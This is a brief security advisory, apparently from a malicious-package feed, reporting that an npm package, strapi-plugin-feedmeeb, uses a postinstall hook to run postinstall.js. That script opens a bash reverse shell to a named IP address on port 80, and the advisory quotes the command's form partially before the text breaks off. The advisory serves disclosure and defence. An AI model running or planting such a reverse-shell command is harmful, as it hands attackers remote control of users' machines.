Malicious code in strapi-plugin-feedmeeb (npm)

Source: amazon-inspector 7ecf1e41fb24d24ffe7b55319dda947ae30bfabb9266e38c17e1231cf4492ec5 [email protected] ships a package.json postinstall hook that executes postinstall.js on npm install. The script constructs a bash reverse shell of the form bash -i & /dev/tcp/14.225.210.85/80 0&1...